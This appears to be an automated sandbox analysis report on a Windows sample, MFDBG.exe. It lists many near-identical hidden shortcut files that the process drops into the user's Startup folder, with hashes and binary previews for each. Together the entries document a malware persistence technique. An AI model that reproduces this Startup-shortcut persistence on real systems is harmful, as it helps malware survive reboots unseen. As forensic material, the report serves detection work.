File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:14 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.917923860850101
Encrypted:	false
SSDEEP:	24:8F6Bf6D8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8qyQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	2D1A6AF6733114CEB0CE6BCBAB6DF881
SHA1:	3E735880D0FBA7BA667BE3470FD96BC000728329
SHA-256:	2E43796C65AA277049CF99E2029C1DE6DF15C0095AB30747AD23D684F467DAA5
SHA-512:	2DD6428527EE9517B8B4AF0706E115B7915D832717A0269DFAB844A29346809D561C85EAFA2422B1879A61D455C1A1E5DD62F243E06E1FC92A78038730321F4D
Malicious:	false
Preview:	L..................F....".......d....a.&d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...5.%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_37c435e0121e45be88bc6e53ffd4373d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925969656937662
Encrypted:	false
SSDEEP:	24:8wrBfOD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:84bEvZ0yRO7DLO2zdxdRd1kyg
MD5:	AE0A9211B90EE1A861DA57F73794B361
SHA1:	677D119079DD56975844F639F330D42B143034E5
SHA-256:	2579DB9F99A77ACF1667309FD8CFC79BED5E8CED3B94244F009F13C7FDF01DB4
SHA-512:	64EEFD3317286C6C53E91081E48E83ACC527BB525DB7CE68EDB6EC54B5FD7EA1157B5E81A68ABD3C10AFC260C4A0A8FF4D5EB50E54FB8C0B74179C6C8173985F
Malicious:	false
Preview:	L..................F....".......d.....~d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....~d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_38298c94303845dabef0ef3d2061c2aa.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:11 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.929493886012551
Encrypted:	false
SSDEEP:	24:8V8TBfh8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8+eEvZ0yRO7DLO2zdxdRd1kyg
MD5:	00607DE49F3BA2574E87ABAC440C1097
SHA1:	D3505221CF1CA1C5D6AE20DF46C4E97B0B644F20
SHA-256:	18F7E305B92371CFA8A4D207B643265CB5AB9C830B1B4B0D8F3458CF1536195D
SHA-512:	08F2EA819624282FEC82CCB70C2EC50EFEE770D992403E3CC5363669FADD4D3662D3E2F3469FFCEE0973F56B8B25946B936312417CE27128100C87D5DF7E1B85
Malicious:	false
Preview:	L..................F....".......d....E$d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....($$d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_384967abfee24ca3bf46115a1bdeeeb6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:02 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918872496120494
Encrypted:	false
SSDEEP:	24:8VBfA8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8XdEvZ0yRO7DLO2zdxdRd1kyg
MD5:	9D96D4B2B14995DD9E17CF174F7A2005
SHA1:	65476441CCDAD82FAC0B4069371216CC6DE6513B
SHA-256:	05CC8D3F3DD48D6A59CA51A2D24D4174CB0282344EB733AA523F27DC5D3A98A9
SHA-512:	90F0EE07D873AC9CB40966124FEA9AB4EAB23A177B5585820CB9EEB010CB22ECFB944FBD9AC71ADE2B9AB9F881B5FB5F692D53C9EE1719B2C70F60C79F0C8824
Malicious:	false
Preview:	L..................F....".......d....N..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...n...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_387638beaa9e4d2492bd9c3e22b77280.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9301589851334
Encrypted:	false
SSDEEP:	24:8NsBfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8NiREvZ0yRO7DLO2zdxdRd1kyg
MD5:	3B6A27AC368AF8057BE294798A6601DC
SHA1:	8F13C7EFC57DD967BE66B14AD5052B63299D8BA8
SHA-256:	A150C8A31818530EFD83A768D5C75CB934DDAAA797B103925AE852DD6A03F734
SHA-512:	AA9A594D2CE568A98A20F27B3211480C994541102259A14D63EB425990DE4EC0FC73A126E86889BFD95E47C7F0FB7D7E710FE740A295AA309668B0010FF20F3B
Malicious:	false
Preview:	L..................F....".......d......Zd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......Zd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_38dbc749f0574866bee5744ec345225d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:15 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921074597317021
Encrypted:	false
SSDEEP:	24:8IBfa8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8GPEvZ0yRO7DLO2zdxdRd1kyg
MD5:	B650C3128811B0FDD023433DC2B80D1E
SHA1:	2A1CB65AFC4BBF70DA97E669CA22BE9C8245B407
SHA-256:	3B8E43BD94CF5B0FB6F338285D6D228CB855F234342C85415116B2F3E5A063A0
SHA-512:	5E3E5D87A6C3B2691A22FDAC4F329786BECBE6E777B03D8F17DD41AA825C6EE5A269AFC1B1864C49E52B9B3DA3CD9FC7098379BBA1D5BB285B2E213867108B32
Malicious:	false
Preview:	L..................F....".......d...j..&d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....JM&d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_39431f53dde1461c996e0f3ab846c86c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:47 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.910329555612827
Encrypted:	false
SSDEEP:	24:8BBfX8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8bUEvZ0yRO7DLO2zdxdRd1kyg
MD5:	45041D455085829A197C6D7AB2CBE07E
SHA1:	D16FF586A5D7EE0A4814453ECB6932367EEE6FE9
SHA-256:	12B6B9B2B28FC0D145149F94501743073F33F7EA9FA4B351D0C904BA186B287F
SHA-512:	A7F472215A10373F9331BBB740AB920E83E2A7E93A1C765BC7EB90D13C0DAF3E7C0D3D48844AE36686EA40742CC611745D21DD08F2DEDDF50A02934C84482BC5
Malicious:	false
Preview:	L..................F....".......d...@g.9d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...@g.9d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3979334167864863a57920f4bc132fbe.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.917159084250437
Encrypted:	false
SSDEEP:	24:8fBf48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8pFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	CAC2C95B32656E5C63C9678DED42762E
SHA1:	F1E4BD789156C15B10F4F73B252358068C920B77
SHA-256:	B6A4B5534B89AFA4171B54D9D90B6E5C466AD0EF96401655290D72E10544CE53
SHA-512:	41180A4FF7920431165B404C8B91BEC90F7DCCCA1E02E1869D14C148C56CDEBF8C30798834DA61D4571DC73FB424B48FB774BBFA04B6C558A3C54260FA75ABB2
Malicious:	false
Preview:	L..................F....".......d....W.:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...4..:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_39b8fd73fd004e2f9b55e62d9a2687fb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923133286057597
Encrypted:	false
SSDEEP:	24:8hBfDf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:87bEEvZ0yRO7DLO2zdxdRd1kyg
MD5:	52A5825601F5678C5949F56D113CB58D
SHA1:	5F258EA9D6CE92623559C36C6486795B76B70BDB
SHA-256:	B8C05FCC011A5EB481BE147F91FF78949C64C0B0E6DC4A23DF6550F9B31CFFB2
SHA-512:	D24C0D7459ACE24525D32B91B5369D53297D86D9D1C207A86BC9D88EA0A9B094FE38EDDAE8440F7EE9066C8298F4E35504FF6E3A215AC6A26815BD60ADB7FB79
Malicious:	false
Preview:	L..................F....".......d...A...d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.......d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3a0ebaad8f7d400cb50f7febdb7fcdbd.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923817793439152
Encrypted:	false
SSDEEP:	24:83Bfn8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8RUEvZ0yRO7DLO2zdxdRd1kyg
MD5:	20245E7144D76B6161887D946742E066
SHA1:	3B39190712345A83BA1322241A943776D26BED44
SHA-256:	577191D4DFDCB1D53262CF2F6458CED4D66690F112D37B8F7C17C7BC8F9ED52B
SHA-512:	557F6F08BBB2800E635CC964725C44907C4180015A0B2FCAC25E32EF98F45BC873E39094FDC4B9FF26C54ED201B87DEE66F1B397D1EB05B797BAFFF5D757B3BE
Malicious:	false
Preview:	L..................F....".......d.....~d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...l..~d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3a46624ee443411291a380da9d23d7e2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:03 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920324846160894
Encrypted:	false
SSDEEP:	24:8uBfZ48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8ER9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	91B2B1F62FBFE4A8E5DF85B2D3B2DE9D
SHA1:	2D854E875BBE894B17E6400D0D774817BC6D32E1
SHA-256:	AC0301518B6F6353BD27130F7603169DC5333B60E4F5E4C134D691952B9F0E67
SHA-512:	11B137CE9639B713DAFDFB55A895111B4BEA5184522BAF23DF8F376A44746ADE3E090B1B0813B53C221F62D013C90A79A7D585D99CD9EB0FA8A8DDA1757C9A50
Malicious:	false
Preview:	L..................F....".......d.....\.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....U.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3a595a8a8ebd4756b96803b373510079.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925401050776191
Encrypted:	false
SSDEEP:	24:8CBfn+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8wLEvZ0yRO7DLO2zdxdRd1kyg
MD5:	D1BB68760123085436C3EC9EF81AD139
SHA1:	79F4BBE9D9BD901378E3BBA9F20F3FC1A6F32D62
SHA-256:	6F05791415A722D430728F53033991E009D1B917F841E47A77B1E87BF070A970
SHA-512:	0613B2F6ED8B34917C0767A83C9231071B98320BC4F5B7D002D4E403FDDD73D63234B770DDC01263553B2034682550567920D361B311B7C7E6A3D5A1B587C324
Malicious:	false
Preview:	L..................F....".......d......:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....u.9d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3a7247fbce8d411485c351e38ee16606.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:11 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931921099670845
Encrypted:	false
SSDEEP:	24:8ikTBfh8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:89eEvZ0yRO7DLO2zdxdRd1kyg
MD5:	D4A218516C2CC177D416A0E9C027CC1C
SHA1:	B9FB3E276B33E03CB77B75FFBD2EF1648AE346A8
SHA-256:	0326C2446B401EBACA5FBBC9E50DA87A5DFBE9EC38122DB0D1D4983F47FB4A8F
SHA-512:	287D02937D2CCB6689912282A6B7D066B340E8490E840F74C06F015ECF2521313C953908FDCC1C5A930A62B5E28D2B803662AFB312D0B652208DDAA1B68C45CE
Malicious:	false
Preview:	L..................F....".......d....O+$d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....($$d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3a9f19ff780043248b18a6cf0ff3ea09.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
